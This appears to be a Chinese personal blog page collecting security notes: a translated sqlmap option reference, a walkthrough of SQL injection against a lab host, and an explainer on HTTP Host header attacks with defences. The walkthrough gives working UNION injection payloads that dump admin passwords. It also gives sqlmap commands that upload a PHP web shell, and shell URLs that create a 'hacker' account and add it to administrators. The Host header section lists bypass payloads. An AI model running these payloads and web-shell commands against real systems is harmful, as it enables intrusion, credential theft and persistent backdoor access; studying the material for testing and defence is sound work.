kk Blog —— 通用基础


date [-d @int|str] [+%s|"+%F %T"]
netstat -ltunp
sar -n DEV 1

sqlmap常用语句

https://blog.csdn.net/qq_36742250/article/details/116233702

shell

1
2
3
--sql-shell
--os-shell
--os-cmd=ipconfig

sqlmap常用指令汇总

1、目标

至少提供一个以下选项以指定目标

1
2
3
4
5
6
7
-d DIRECT           直接连接数据库
-u URL, --url=URL   目标 URL(例如:"http://www.site.com/vuln.php?id=1")
-l LOGFILE          从 Burp 或 WebScarab 代理的日志文件中解析目标地址
-m BULKFILE         从文本文件中获取批量目标
-r REQUESTFILE      从文件中读取 HTTP 请求
-g GOOGLEDORK       使用 Google dork 结果作为目标
-c CONFIGFILE       从 INI 配置文件中加载选项

2、请求

以下选项可以指定连接目标地址的方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
--method=METHOD     强制使用提供的 HTTP 方法(例如:PUT)
--data=DATA         使用 POST 发送数据串(例如:"id=1")
--param-del=PARA..  设置参数值分隔符(例如:;)
--cookie=COOKIE     指定 HTTP Cookie(例如:"PHPSESSID=a8d127e..")
--cookie-del=COO..  设置 cookie 分隔符(例如:;)
--load-cookies=L..  指定以 Netscape/wget 格式存放 cookies 的文件
--drop-set-cookie   忽略 HTTP 响应中的 Set-Cookie 参数
--user-agent=AGENT  指定 HTTP User-Agent
--random-agent      使用随机的 HTTP User-Agent
--host=HOST         指定 HTTP Host
--referer=REFERER   指定 HTTP Referer
-H HEADER, --hea..  设置额外的 HTTP 头参数(例如:"X-Forwarded-For: 127.0.0.1")
--headers=HEADERS   设置额外的 HTTP 头参数(例如:"Accept-Language: fr\nETag: 123")
--auth-type=AUTH..  HTTP 认证方式(Basic,Digest,NTLM 或 PKI)
--auth-cred=AUTH..  HTTP 认证凭证(username:password)
--auth-file=AUTH..  HTTP 认证 PEM 证书/私钥文件
--ignore-code=IG..  忽略(有问题的)HTTP 错误码(例如:401)
--ignore-proxy      忽略系统默认代理设置
--ignore-redirects  忽略重定向尝试
--ignore-timeouts   忽略连接超时
--proxy=PROXY       使用代理连接目标 URL
--proxy-cred=PRO..  使用代理进行认证(username:password)
--proxy-file=PRO..  从文件中加载代理列表
--tor               使用 Tor 匿名网络
--tor-port=TORPORT  设置 Tor 代理端口代替默认端口
--tor-type=TORTYPE  设置 Tor 代理方式(HTTP,SOCKS4 或 SOCKS5(默认))
--check-tor         检查是否正确使用了 Tor
--delay=DELAY       设置每个 HTTP 请求的延迟秒数
--timeout=TIMEOUT   设置连接响应的有效秒数(默认为 30)
--retries=RETRIES   连接超时时重试次数(默认为 3)
--randomize=RPARAM  随机更改给定的参数值
--safe-url=SAFEURL  测试过程中可频繁访问且合法的 URL 地址(译者注:
                    有些网站在你连续多次访问错误地址时会关闭会话连接,
                    后面的“请求”小节有详细说明)
--safe-post=SAFE..  使用 POST 方法发送合法的数据
--safe-req=SAFER..  从文件中加载合法的 HTTP 请求
--safe-freq=SAFE..  每访问两次给定的合法 URL 才发送一次测试请求
--skip-urlencode    不对 payload 数据进行 URL 编码
--csrf-token=CSR..  设置网站用来反 CSRF 攻击的 token
--csrf-url=CSRFURL  指定可提取防 CSRF 攻击 token 的 URL
--force-ssl         强制使用 SSL/HTTPS
--hpp               使用 HTTP 参数污染攻击
--eval=EVALCODE     在发起请求前执行给定的 Python 代码(例如:"import hashlib;id2=hashlib.md5(id).hexdigest()")

3、优化

以下选项用于优化 sqlmap 性能

1
2
3
4
5
-o                  开启所有优化开关
--predict-output    预测常用请求的输出
--keep-alive        使用持久的 HTTP(S) 连接
--null-connection   仅获取页面大小而非实际的 HTTP 响应
--threads=THREADS   设置 HTTP(S) 请求并发数最大值(默认为 1)

4、注入

以下选项用于指定要测试的参数,提供自定义注入 payloads 和篡改参数的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-p TESTPARAMETER    指定需要测试的参数
--skip=SKIP         指定要跳过的参数
--skip-static       指定跳过非动态参数
--param-exclude=..  用正则表达式排除参数(例如:"ses")
--dbms=DBMS         指定后端 DBMS(Database Management System,
                    数据库管理系统)类型(例如:MySQL)
--dbms-cred=DBMS..  DBMS 认证凭据(username:password)
--os=OS             指定后端 DBMS 的操作系统类型
--invalid-bignum    将无效值设置为大数
--invalid-logical   对无效值使用逻辑运算
--invalid-string    对无效值使用随机字符串
--no-cast           关闭 payload 构造机制
--no-escape         关闭字符串转义机制
--prefix=PREFIX     注入 payload 的前缀字符串
--suffix=SUFFIX     注入 payload 的后缀字符串
--tamper=TAMPER     用给定脚本修改注入数据

5、检测

以下选项用于自定义检测方式

1
2
3
4
5
6
7
8
--level=LEVEL       设置测试等级(1-5,默认为 1)
--risk=RISK         设置测试风险等级(1-3,默认为 1)
--string=STRING     用于确定查询结果为真时的字符串
--not-string=NOT..  用于确定查询结果为假时的字符串
--regexp=REGEXP     用于确定查询结果为真时的正则表达式
--code=CODE         用于确定查询结果为真时的 HTTP 状态码
--text-only         只根据页面文本内容对比页面
--titles            只根据页面标题对比页面

6、技术

以下选项用于调整特定 SQL 注入技术的测试方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
--technique=TECH    使用的 SQL 注入技术(默认为“BEUSTQ”,译者注:
                    B: Boolean-based blind SQL injection(布尔型盲注)
                    E: Error-based SQL injection(报错型注入)
                    U: UNION query SQL injection(联合查询注入)
                    S: Stacked queries SQL injection(堆叠查询注入)
                    T: Time-based blind SQL injection(时间型盲注)
                    Q: inline Query injection(内联查询注入)
--time-sec=TIMESEC  延迟 DBMS 的响应秒数(默认为 5)
--union-cols=UCOLS  设置联合查询注入测试的列数目范围
--union-char=UCHAR  用于暴力猜解列数的字符
--union-from=UFROM  设置联合查询注入 FROM 处用到的表
--dns-domain=DNS..  设置用于 DNS 渗出攻击的域名(译者注:
                    推荐阅读《在SQL注入中使用DNS获取数据》
                    http://cb.drops.wiki/drops/tips-5283.html,
                    在后面的“技术”小节中也有相应解释)
--second-url=SEC..  设置二阶响应的结果显示页面的 URL(译者注:该选项用于 SQL 二阶注入)
--second-req=SEC..  从文件读取 HTTP 二阶请求

7、指纹识别

1
-f, --fingerprint   执行广泛的 DBMS 版本指纹识别

8、枚举

以下选项用于获取后端 DBMS 的信息,结构和数据表中的数据。此外,还可以运行你输入的 SQL 语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
-a, --all           获取所有信息、数据
-b, --banner        获取 DBMS banner
--current-user      获取 DBMS 当前用户
--current-db        获取 DBMS 当前数据库
--hostname          获取 DBMS 服务器的主机名
--is-dba            探测 DBMS 当前用户是否为 DBA(数据库管理员)
--users             枚举出 DBMS 所有用户
--passwords         枚举出 DBMS 所有用户的密码哈希
--privileges        枚举出 DBMS 所有用户特权级
--roles             枚举出 DBMS 所有用户角色
--dbs               枚举出 DBMS 所有数据库
--tables            枚举出 DBMS 数据库中的所有表
--columns           枚举出 DBMS 表中的所有列
--schema            枚举出 DBMS 所有模式
--count             获取数据表数目
--dump              导出 DBMS 数据库表项
--dump-all          导出所有 DBMS 数据库表项
--search            搜索列,表和/或数据库名
--comments          枚举数据时检查 DBMS 注释
-D DB               指定要枚举的 DBMS 数据库
-T TBL              指定要枚举的 DBMS 数据表
-C COL              指定要枚举的 DBMS 数据列
-X EXCLUDE          指定不枚举的 DBMS 标识符
-U USER             指定枚举的 DBMS 用户
--exclude-sysdbs    枚举所有数据表时,指定排除特定系统数据库
--pivot-column=P..  指定主列
--where=DUMPWHERE   在转储表时使用 WHERE 条件语句
--start=LIMITSTART  指定要导出的数据表条目开始行数
--stop=LIMITSTOP    指定要导出的数据表条目结束行数
--first=FIRSTCHAR   指定获取返回查询结果的开始字符位
--last=LASTCHAR     指定获取返回查询结果的结束字符位
--sql-query=QUERY   指定要执行的 SQL 语句
--sql-shell         调出交互式 SQL shell
--sql-file=SQLFILE  执行文件中的 SQL 语句

9、暴力破解

以下选项用于暴力破解测试

1
2
--common-tables     检测常见的表名是否存在
--common-columns    检测常用的列名是否存在

10、用户自定义函数注入

以下选项用于创建用户自定义函数

1
2
--udf-inject        注入用户自定义函数
--shared-lib=SHLIB  共享库的本地路径

11、访问文件系统

以下选项用于访问后端 DBMS 的底层文件系统

1
2
3
--file-read=FILE..  读取后端 DBMS 文件系统中的文件
--file-write=FIL..  写入到后端 DBMS 文件系统中的文件
--file-dest=FILE..  使用绝对路径写入到后端 DBMS 中的文件

12、访问操作系统

以下选项用于访问后端 DBMS 的底层操作系统

1
2
3
4
5
6
7
8
--os-cmd=OSCMD      执行操作系统命令
--os-shell          调出交互式操作系统 shell
--os-pwn            调出 OOB shell,Meterpreter 或 VNC
--os-smbrelay       一键调出 OOB shell,Meterpreter 或 VNC
--os-bof            利用存储过程的缓冲区溢出
--priv-esc          数据库进程用户提权
--msf-path=MSFPATH  Metasploit 框架的本地安装路径
--tmp-path=TMPPATH  远程临时文件目录的绝对路径

13、访问 Windows 注册表

以下选项用于访问后端 DBMS 的 Windows 注册表

1
2
3
4
5
6
7
--reg-read          读取一个 Windows 注册表键值
--reg-add           写入一个 Windows 注册表键值数据
--reg-del           删除一个 Windows 注册表键值
--reg-key=REGKEY    指定 Windows 注册表键
--reg-value=REGVAL  指定 Windows 注册表键值
--reg-data=REGDATA  指定 Windows 注册表键值数据
--reg-type=REGTYPE  指定 Windows 注册表键值类型

14、通用选项

以下选项用于设置通用的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
-s SESSIONFILE      从文件(.sqlite)中读入会话信息
-t TRAFFICFILE      保存所有 HTTP 流量记录到指定文本文件
--batch             从不询问用户输入,使用默认配置
--binary-fields=..  具有二进制值的结果字段(例如:"digest")
--check-internet    在访问目标之前检查是否正常连接互联网
--crawl=CRAWLDEPTH  从目标 URL 开始爬取网站
--crawl-exclude=..  用正则表达式筛选爬取的页面(例如:"logout")
--csv-del=CSVDEL    指定输出到 CVS 文件时使用的分隔符(默认为“,”)
--charset=CHARSET   指定 SQL 盲注字符集(例如:"0123456789abcdef")
--dump-format=DU..  导出数据的格式(CSV(默认),HTML 或 SQLITE)
--encoding=ENCOD..  指定获取数据时使用的字符编码(例如:GBK)
--eta               显示每个结果输出的预计到达时间
--flush-session     清空当前目标的会话文件
--forms             解析并测试目标 URL 的表单
--fresh-queries     忽略存储在会话文件中的查询结果
--har=HARFILE       将所有 HTTP 流量记录到一个 HAR 文件中
--hex               获取数据时使用 hex 转换
--output-dir=OUT..  自定义输出目录路径
--parse-errors      从响应中解析并显示 DBMS 错误信息
--preprocess=PRE..  使用给定脚本预处理响应数据
--repair            重新导出具有未知字符的数据(?)
--save=SAVECONFIG   将选项设置保存到一个 INI 配置文件
--scope=SCOPE       用正则表达式从提供的代理日志中过滤目标
--test-filter=TE..  根据 payloads 和/或标题(例如:ROW)选择测试
--test-skip=TEST..  根据 payloads 和/或标题(例如:BENCHMARK)跳过部分测试
--update            更新 sqlmap

15、杂项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-z MNEMONICS        使用短助记符(例如:“flu,bat,ban,tec=EU”)
--alert=ALERT       在找到 SQL 注入时运行 OS 命令
--answers=ANSWERS   设置预定义回答(例如:“quit=N,follow=N”)
--beep              出现问题提醒或在发现 SQL 注入时发出提示音
--cleanup           指定移除 DBMS 中的特定的 UDF 或者数据表
--dependencies      检查 sqlmap 缺少(可选)的依赖
--disable-coloring  关闭彩色控制台输出
--gpage=GOOGLEPAGE  指定页码使用 Google dork 结果
--identify-waf      针对 WAF/IPS 防护进行彻底的测试
--mobile            使用 HTTP User-Agent 模仿智能手机
--offline           在离线模式下工作(仅使用会话数据)
--purge             安全删除 sqlmap data 目录所有内容
--skip-waf          跳过启发式检测 WAF/IPS 防护
--smart             只有在使用启发式检测时才进行彻底的测试
--sqlmap-shell      调出交互式 sqlmap shell
--tmp-dir=TMPDIR    指定用于存储临时文件的本地目录
--web-root=WEBROOT  指定 Web 服务器根目录(例如:"/var/www")
--wizard            适合初级用户的向导界面

sqlmap超详细讲解

https://blog.csdn.net/A485860941/article/details/124148554

安装

1
pip install sqlmap

什么是SQL注入

所谓SQL注入就是通过把SQL命令插入到Web表单提交或输入域名或页面请求查询的字符串,最终达到欺骗服务器执行恶意的SQL命令,假如管理员没有对id参数进行过滤那么黑客可以通过数据传输点将恶意的SQL语句带入查询.

手工注入

第一步

找到漏洞链接

第二步

获取列长度 说明目前使用的数据库表格只有3列

order by 3#

第三步

使用联合查询从而获当前用户和数据名与数据库版本

union select user(),database(),version()#

第四步

查询所有表格,我们已经知道目前所使用的数据库名是zkpy接下来我们查询表格名字

union select 1,2,table_name from information_schema.tables where table_schema=‘zkpy’#

回显出二个表格名称

第五步

我们查看表格里面列 我们先猜解admin表吧 因为admin是管理员所以我们先猜它

union select 1,2,column_name from information_schema.columns where table_name=‘admin’#

回显信息列有 id,username,password

第六步

我们进行查看username和password里面内容

union select 1,username,password from admin–+

可以看出账号是alpha密码是zkpy00Q

如果感觉手工注入麻烦的话,下面给大家带来二个工具注入sql,使用起来更简洁更方便更快,更有效率的来获取你想知道的内容

sqlmap工具注入

sqlmap是基于注入的一个工具,从而达到轻松获取内容

1
2
3
sqlmap -u "URL" --batch       --batch代表全自动 不用我们手动输入y/n

sqlmap -u "http://172.16.15.24/sqls/index.php?id=1"

有漏洞接下来我们查看当前使用的数据库

1
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --current-db --batch

查看当前数据库使用的用户是谁

1
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --current-user --batch

查看当前数据库是否是管理员权限

1
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --is-dba --batch  回显True就代表是管理员

接下来我们来报表格 当前所使用的数据库是zkpy

1
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" -D zkpy --tables --batch

回显信息显示有admin表格和news表 admin为管理员所以先破解admin表

1
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" -D zkpy -T admin --columns --batch

admin表格里面有3列,分别是 id,username,password

接下来我们导出这三列内容 –batch为导出

1
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" -D zkpy -T admin -C id,username,password --dump --batch 

接下来就完毕了,成功获取用户名与密码

获取控制服务器

接下来我们使用sqlmap传递一个php脚本从而获取控制服务器

我们使用

1
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --os-shell 来查看网页根目录

网页根目录是 C:/phpstudy/www 这是一个windows windows不区分大小写我们怎么样写都行

我们首先编辑一个木马文件 创建文件名为 shell.php

首先使用sqlmap上传文件 靶机my.ini配置文件里面必须开启这一项 否者不可上传不可读

接下来我们使用sqlmap上传一下shell.php文件

1
2
3
--file-write 是写入文件使用我们木马路径   --file-dest 是目的地 使用对方网页路径

sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --file-write "/root/shell.php" --file-dest "c:/phpstudy/www/shell.php"

然后到浏览器访问我们刚才上传的木马即可 查看php信息

1
http://172.16.15.24/shell.php?CMD=phpinfo();

查看靶机权限

1
http://172.16.15.24/shell.php?CMD=echo passthru('whoami');

创建hacker用户

1
http://172.16.15.24/shell.php?CMD=echo passthru('net user hacker 1234560.0 /add');

授予用户管理员组让hacker用户也可以享受管理员权限

1
http://172.16.15.24/shell.php?CMD=echo passthru('net localgroup administrators hacker /add');

下面查看一下hacker用户是否存在 如果存在的话是什么权限

快捷方式你也可以使用

1
2
3
http://172.16.15.24/shell.php?CMD=echo passthru('net user hacker');

http://172.16.15.24/shell.php?CMD=echo passthru('net user'); 

可以看到hacker用户存在的接下来查看一下它是什么组

接下来我们就可以任意执行代码了 也可以上传php脚本里面的include和require文件包含

HTTP Host头漏洞攻击

https://www.modb.pro/db/407727

Nginx做了反向代理,每个域名都应该是做了白名单。

什么是HTTP Host头?

从HTTP/1.1开始,HTTP Host头就是强制性的请求标头。比如我们要访问这个URL时

http://www.website.net/websecurity

浏览器会编写个Host标头的请求,"GET"请求的是页面的相对路径,"Host"就是主机头,请求的是域名或服务器地址:

1
2
GET /websecurity HTTP/1.1
Host:www.website.net

HTTP Host头的用处?

HTTP Host头的目的是帮助识别客户端想要与哪个后端组件通讯。

其实在以前,并不会有通讯错误的问题,因为每个IP地址通常只对应一个域名。

但是随着云和虚拟主机的普及,单个Web服务器可以托管多个网站或应用程序。尽管这些网站都有各自不同的域名,但很有可能共享服务器同一个IP地址,这种情况下就需要通过Host头来进行区分了。

另外种情况就是后端网站可能是托管在不同的服务器上,但是客户端和服务器之间的所有流量都要通过中间系统,比如用了负载均衡或是反向代理。在这种场景下,所有的域名都会解析为中间组件的IP,所以中间组件需要通过Host头来判断每个请求是到后端哪个服务器上。

就好比给住在公寓楼里的人寄快递,整栋大楼都有相同的街道地址,但在这个街道地址后面有许多不同的公寓,每个公寓都需要以某种方式接收正确的快递。解决此问题的一种方法是简单地在地址中包含公寓号码或收件人姓名。对于 HTTP 消息,Host 头也是类似的作用。

如何利用Host头来进行攻击?

如果网站没有以安全的方式来处理Host值的话,就极易受到攻击。一般Web应用程序通常不知道它们部署在哪个域上,当它们需要知道当前域时,很有可能会求助于Host头。如果服务器完全信任Host头,没有验证或转义它的值,攻击者可以把有害的Payload放入其中,当应用程序调用的时候,有害的Payload可能就会传导进去造成“注入”。

而这种漏洞可以造成包括:Web缓存中毒、特定功能的业务逻辑缺陷、基于路由的SSRF、SQL注入等危害。

要检测一个站点是否有这个漏洞的话有个最简单的方法就是通过BurpSuite这类工具,在客户端发送包的时候对Host进行修改,随后看是否还可以请求到目的应用程序。如果还可以正常请求到,那就说明存在注入点。

像这里,把Host完全改了,网站还可以返回200,显示正常页面

如何绕过有缺陷Host头检查?

通常来说,很少有站点会出现上面这种完全放开的现象,一般或多或少都有些过滤机制,但如果过滤做的不好,就会存在被绕过的可能性。

① 忽略端口的检验

某些过滤检查只验证域名,会忽略Host头中的端口。如果我们可以在Host头中写入非数字端口,就可以通过端口注入恶意Payload。

1
2
GET example HTTP/1.1
Host:Website.com:bad-stuff-here

② 允许任意子域

如果应用系统允许其域名下任意的子域通过,在这种情况下,可以通过子域来绕过验证。

1
2
GET example HTTP/1.1
Host:hacked-subdomain.Website.com

③ 注入重复的Host头

有的时候我们可以添加多个Host头,而且一般开发者并没有预料到这种情况而没有设置任何处理措施,这就可能导致某个Host头会覆盖掉另一个Host头的值

1
2
3
GET exampleHTTP/1.1
Host:Website.com
Host:bad-stuff-here

如果服务器端将第二个Host头优先于第一个Host头,就会覆盖掉它的值,然后中转组件会因为第一个Host头指定了正确的目标而照常转发这个请求包,这样就能绕过中间组件将Payload传递给服务器。

④ 提供绝对URL

正常情况下,"GET"的请求航采用的是相对地址,但是也允许使用绝对地址,就是将原本Host的值拼接到相对地址前面构成绝对地址,这样就可以利用Host头进行注入。

1
2
GET http://Website.com/ HTTP/1.1
Host:bad-stuff-here

⑤ 添加换行

有时候还可以通过使用空格字符缩进HTTP头来进行混淆,因为有些服务器会将缩进的标头理解为换行,而将其视为前面头值的一部分,有些服务器会完全忽略缩进的HTTP头,因此不同系统处理HTTP头可能会存在不一致的现象。

1
2
3
GET example HTTP/1.1
Host:bad-stuff-here
Host:Website.com

如果前端忽略缩进的头部,这个请求会被作为普通请求来处理。假设后端忽略前导空格优先考虑第一个Host头,这种不一致性会导致Payload的注入。

⑥ 利用可覆盖Host的请求头

有一些请求头的值是可以覆盖Host的值的,比如X-Forwarded-Host,当我们发出这样的请求时就会触发覆盖

1
2
3
GET exampleHTTP/1.1
Host:Website.com
X-Forwarded-Host:bad-stuff-here

可以达到相同目的的还有这些头

1
2
3
4
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded

如何防止HTTP Host头攻击?

要防止HTTP Host头攻击,最简单的方法就是避免在服务器端代码中完全使用Host头,不进行任何引入。如果确实要使用Host值的话,还有些其他的方法:

① 保护绝对URL

当必须要使用绝对URL时,应该在配置文件中手动指定当前域进行引用,而不是直接引用Host值。

② 验证Host头

如果必须使用Host头,确保进行正确的验证。应该根据允许域的白名单进行检查,并拒绝任何无法识别的主机请求。

③ 不支持Host覆盖头

检查下是否不支持可用于构建这些攻击的其他头也很重要,特别是X-Forwarded-Host,默认情况下可能支持这些功能。

④ 白名单允许的域

为了防止对内部服务器基于路由的攻击,在配置负载均衡或反向代理后,通过白名单允许域对请求进行转发。

⑤ 小心使用仅限内部访问的虚拟主机

使用虚拟主机时,应避免在同一服务器上托管仅供内部使用的网站和应用程序作为面向公众的内容。攻击者有可能能够通过Host头操作访问内部域。